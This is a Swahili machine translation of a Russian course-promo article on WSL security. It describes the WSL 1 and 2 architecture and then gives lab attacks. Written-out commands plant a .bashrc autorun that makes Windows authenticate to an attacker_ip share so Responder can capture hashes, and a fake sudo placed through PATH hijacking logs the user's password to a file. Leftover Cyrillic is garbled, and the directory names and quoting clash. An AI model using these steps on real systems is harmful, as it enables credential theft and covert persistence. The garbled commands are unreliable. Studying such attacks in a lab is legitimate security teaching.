Majaribio ya WSL. Sehemu 1

Habari, habar! OTUS inazindua mkondo mpya wa kozi mnamo Oktoba "Usalama wa Linux". Kwa kutarajia mwanzo wa kozi, tunashiriki nawe makala iliyoandikwa na mmoja wa walimu wetu, Alexander Kolesnikov.

Majaribio ya WSL. Sehemu 1

Mnamo 2016, Microsoft ilianzisha teknolojia mpya ya WSL kwa jamii ya IT (Windows Subsystem kwa Linux), ambayo katika siku zijazo ilifanya iwezekane kuunganisha washindani ambao hawakupatanishwa hapo awali ambao walikuwa wakipigania umaarufu kati ya watumiaji wa kawaida na wa hali ya juu wa OS: Windows na Linux. Teknolojia hii ilifanya iwezekanavyo kutumia zana za Linux OS katika mazingira ya Windows bila ya haja ya kuendesha Linux, kwa mfano, kutumia Multi-boot. Kwenye Habr unaweza kupata idadi kubwa ya makala zinazoelezea manufaa ya kutumia WSL. Hata hivyo, kwa bahati mbaya, wakati wa uumbaji wa makala hii, hakuna masomo juu ya usalama wa symbiosis hiyo ya mifumo ya uendeshaji iliyopatikana kwenye rasilimali hii. Chapisho hili litakuwa jaribio la kusahihisha hili. Nakala hiyo itazungumza juu ya sifa za usanifu wa WSL 1 na 2 na kuchunguza mifano kadhaa ya mashambulizi kwenye mifumo inayotumia teknolojia hizi. Nakala imegawanywa katika sehemu 2. Ya kwanza itatoa mbinu kuu za mashambulizi ya kinadharia kutoka kwa Linux na Windows. Makala ya pili itahusisha kuweka mazingira ya mtihani na kuzalisha mashambulizi.

WSL 1: vipengele vya usanifu

Kwa kupiga mbizi sahihi zaidi katika masuala ya usalama wa WSL, ni muhimu kuamua nuances kuu zinazohusiana na utekelezaji wa mfumo mdogo. Moja ya kazi kuu za mtumiaji kutatuliwa na WSL ni uwezo wa kufanya kazi kupitia terminal ya Linux kwenye mwenyeji anayeendesha Windows OS. Pia, uoanifu uliotolewa ulikuwa wa asili sana hivi kwamba utekelezi wa Linux (ELF) unaweza kuendeshwa moja kwa moja kwenye mfumo wa Windows. Ili kufikia malengo haya, mfumo mdogo maalum uliundwa katika Windows 10 ambayo hukuruhusu kuendesha programu za Linux kwa kutumia seti ya simu mahususi za mfumo - kwa hivyo, jaribio lilifanywa kuweka ramani ya seti ya syscalls ya Linux kwenye Windows. Hili lilitekelezwa kimwili kwa kuongeza viendeshi vipya na umbizo jipya la mchakato. Kwa kuibua usanifu ulionekana kama hii:

Majaribio ya WSL. Sehemu 1

Kwa kweli, mwingiliano na mfumo wa uendeshaji wa Linux ulipangwa kupitia moduli kadhaa za kernel na aina maalum ya mchakato - pico. Kutoka kwa mchoro hapo juu, unaweza kuona kwamba mchakato unaoendeshwa kwenye mfano wa Linux kwenye seva pangishi lazima uwe wa asili na lazima utumie rasilimali sawa na programu za kawaida za Windows. Lakini jinsi ya kufikia hili? Katika mradi Drawbridge Dhana za mchakato wa Windows zilitengenezwa ambazo zilitoa vipengele vyote muhimu vya mfumo wa uendeshaji (kulingana na toleo lake) ili kuendesha programu ya OS nyingine.

Kumbuka kwamba uondoaji uliopendekezwa ulifanya iwezekanavyo kutozingatia mfumo wa uendeshaji (hasa, Windows), ambayo mchakato wa OS nyingine unatarajiwa kuzindua, na kupendekeza mbinu ya jumla.

Kwa hivyo, programu yoyote ndani ya mchakato wa pico inaweza kukimbia bila kuzingatia kernel ya Windows:

  1. Matatizo ya utangamano na tafsiri ya simu za mfumo lazima kutatuliwa na watoa huduma maalum;
  2. Udhibiti wa ufikiaji lazima ufanyike kupitia Kidhibiti cha Usalama. Kichunguzi kiko kwenye kernel na kwa hivyo Windows ilihitaji uboreshaji katika mfumo wa kiendeshi kipya ambacho kinaweza kufanya kama mtoaji wa michakato kama hii. Mchakato wa mfano wa pico umewasilishwa kwa mpangilio hapa chini:

Majaribio ya WSL. Sehemu 1

Kwa kuwa mfumo wa faili wa Linux hutumia faili na saraka ambazo ni nyeti kwa kesi, aina 2 za mifumo ya faili ziliongezwa kwenye Windows ili kufanya kazi na WSL - VolFS na DriveFS. VolFS ni utekelezaji wa mfumo wa faili wa Linux, DriveFS ni mfumo wa faili unaofanya kazi kulingana na sheria za Windows, lakini ina uwezo wa kuchagua unyeti wa kesi.

WSL 2

WSL 1 ilikuwa na idadi ya mapungufu ambayo haikuruhusu kutumika kutatua upeo wa juu wa kazi: kwa mfano, haikuwa na uwezo wa kuendesha programu za Linux 32-bit, na haikuwezekana kutumia viendeshi vya kifaa. Kwa hivyo, mnamo 2020, WSL 2 ilitolewa, ambayo ilibadilisha mbinu ya kujenga mfumo mdogo. WSL 2 ni mashine pepe iliyoboreshwa inayolingana na sifa za matumizi ya rasilimali za WSL 1. Sasa, kulingana na matatizo yaliyotatuliwa na mtumiaji wa Windows OS, unaweza kuchagua toleo linalohitajika la mfumo mdogo wa Linux. Ili kupunguza udhaifu unaowezekana, WSL 2 ilitekelezwa kulingana na Hyper-V katika Windows 10. Katika fomu hii, Windows ina uwezo wa kuendesha kernel ya mfumo wa uendeshaji wa Linux peke yake. Inafaa kukumbuka kuwa toleo la 1 la WSL lilianzishwa kama kipengele cha beta ambacho kilipaswa kuonyesha mwelekeo wa ukuzaji wa Windows katika eneo hili, kwa hivyo mpito wa Hyper-V haukuepukika. Usanifu wa mwisho unaonekana kama hii:

Majaribio ya WSL. Sehemu 1

Katika toleo hili, kernels za Windows na Linux zina rasilimali zao wenyewe na makutano yanapatikana tu kwenye mfumo wa faili, lakini makutano haya hayajakamilika. Mwingiliano kati ya mifumo ya faili unafanywa kupitia kifurushi cha seva ya mteja kinachofanya kazi kwa kutumia itifaki ya 9P.

Leo Microsoft hutoa uwezo wa kubadili kati ya WSL 1 na WSL 2. Matoleo yote mawili yanapatikana kwa matumizi.

Usalama wa WSL

Kwa sasa, kuna kazi kadhaa zinazoelezea baadhi ya mbinu za kutumia zana halali za OS kushambulia mawasiliano kati ya mifumo ndogo. Tutatumia maandishi yao kuangalia umuhimu wa mashambulizi wakati wa kuandika. Orodha ya jumla ya mashambulizi na matukio:

1. Utekelezaji wa mfumo wa faili: haki za ufikiaji, upatikanaji wa saraka zinazoshirikiwa/utaratibu wa kubadilishana data.

Utafiti ulifanyika ili kubaini ukiukaji wa sheria za ufikiaji kutoka Linux FS->Windows FS, Windows FS->Linux FS. Utafiti umeonyesha uwezo wa kurekebisha faili fulani ndani ya OS lengwa. Jaribio pia lilifanywa kuchukua nafasi, kuunda nakala na kufuta sehemu ya mifumo ya faili.

Hali:

  • A. Mashambulizi kutoka kwa mfumo wa uendeshaji wa Windows - marekebisho ya faili kutoka kwa saraka ya / nk ya Linux OS.
  • B. Mashambulizi kutoka kwa mfumo wa uendeshaji wa Linux - urekebishaji wa faili katika saraka: C:Windows, C:Program Files, C:Users<User>

2. Utekelezaji wa stack ya mtandao.

Utafiti ulifanywa kwa kutumia mifano ya mashambulizi kutoka kwa mfumo wa uendeshaji wa Linux kwenye Windows. Vipengele vya stack ya mtandao vilitumiwa, yaani, taratibu za uthibitishaji kwenye rasilimali mbalimbali.

Hali:

  • Kufungua ufikiaji wa bandari ambayo inamilikiwa na mfumo wa Windows
  • Kufungua bandari bila haki zinazofaa
  • Kuendesha ganda la nyuma kwa kutumia faili ya elf kwenye mfumo wa uendeshaji wa Windows.

3. Kuficha uzinduzi wa michakato ya programu hasidi kwa kutumia mfumo mdogo wa WSL.

Utafiti ulitokana na ukweli rahisi - mifumo midogo ya usalama haiwezi kuzuia matukio katika kernel nyingine ambayo inafanya kazi kwa kutumia mtoa huduma halali kutoka kwa mfumo wa uendeshaji katika kesi ya WSL 1. Katika kesi ya WSL 2, hakuna njia ya kutazama matukio yanayotokea. kwenye kerneli tofauti ndani ya mashine nyepesi nyepesi.

Hali:

1) Zindua programu ya ufikiaji wa mbali kwa mfumo na uangalie matukio yaliyoingia.

Majaribio ya WSL 1: uingiliaji wa hashi (Windows)

Hatimaye tulifika kwenye sehemu ya vitendo. Kwanza, unahitaji kuweka mazingira ya mtihani. Majaribio yote yatafanywa kwenye benchi iliyosakinishwa Windows 10 2004. Picha ya Ubuntu 18.04 ilichaguliwa kuwa picha ya mfumo wa uendeshaji wa WSL. Picha ilichaguliwa kwa nasibu, na nyingine yoyote itafanya kazi sawa. Amri za kuanzisha stendi:

Lazima kwanza uzindue powershell.exe kama msimamizi.

Kwa WSL 1 unahitaji kuendesha amri:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft

  • Ubuntu.appx install β€”root #Установим ΠΎΠ±Ρ€Π°Π·
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΠ»ΠΈΠΊΠ°Ρ‚ΡŒ процСсс настройки ΠΈ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС ΠΏΡ€Π°Π², Ρ‡Π΅ΠΌ root. Для Π½Π°ΡˆΠΈΡ… тСстов это Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ sam.
  • Restart-Computer #ΠŸΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ
  • Baada ya kuanzisha upya msimamo, unaweza kupiga bash amri. Ikiwa kila kitu kilifanya kazi kwa usahihi, utaona pato sawa na hili kwenye koni ya Windows:

    Majaribio ya WSL. Sehemu 1

    Tutatumia usambazaji wa Kali Linux kama mashine ya mshambulizi; mashine zote lazima ziwe kwenye mtandao mmoja wa ndani.

    Wacha tufikirie kuwa tuna ufikiaji usio na bahati wa WSL kwenye mashine ya Windows. Wacha tujaribu kushambulia mfumo wa uendeshaji wa Linux kwa kupiga amri kutoka kwa Linux. Ili kutekeleza mashambulizi, tutatumia mbinu rahisi ya autorun - tutaongeza hati yetu kwa ajili ya utekelezaji katika mazingira ya Linux. Ili kufanya hivyo, unahitaji kubadilisha faili .bashrc.

    Kwenye mashine iliyo na WSL tunatekeleza:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kwenye mashine ya Kali Linux tunaendesha:

    1. Responder -I eth0 -rdvw

    Kwenye mashine ya Windows, wacha tuzindue bash.

    Tunangojea matokeo kwenye mashine ya Kali Linux:

    Majaribio ya WSL. Sehemu 1

    Kwa hivyo, tulipata heshi za mtumiaji wa Windows kupitia mfumo mdogo wa WSL kwa kutekeleza amri kwenye mfumo wa Linux.

    Majaribio ya WSL 1: kupata nenosiri la mtumiaji (Linux OS)

    Hebu tufanye jaribio moja zaidi. Wakati wa hundi hii tutaongeza kwenye faili .bashrc amri kadhaa ili kupata nenosiri la mtumiaji wa mfumo wa uendeshaji wa Linux.

    Wacha tuzindue bash na tuingize amri:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Ili kukamilisha shambulio hilo kwa mafanikio, mtumiaji Sam anahitaji kupiga simu ya sudo katika terminal ya Linux. Baada ya hayo, nenosiri la mtumiaji wa Linux OS litakuwa kwenye faili pass.txt:

    Majaribio ya WSL. Sehemu 1

    Utekelezaji wa mashambulizi ulitolewa kwa maelezo ya kinadharia tu.

    Sehemu inayofuata ya kifungu itaelezea utekelezaji wa itifaki ya 9P, fikiria uundaji wa skana ya itifaki hii, na pia ufanye shambulio kwa kuitumia.

    Orodha ya fasihi iliyotumiwa

    Majaribio ya WSL. Sehemu 1

    Soma zaidi

    Chanzo: mapenzi.com

    Kuongeza maoni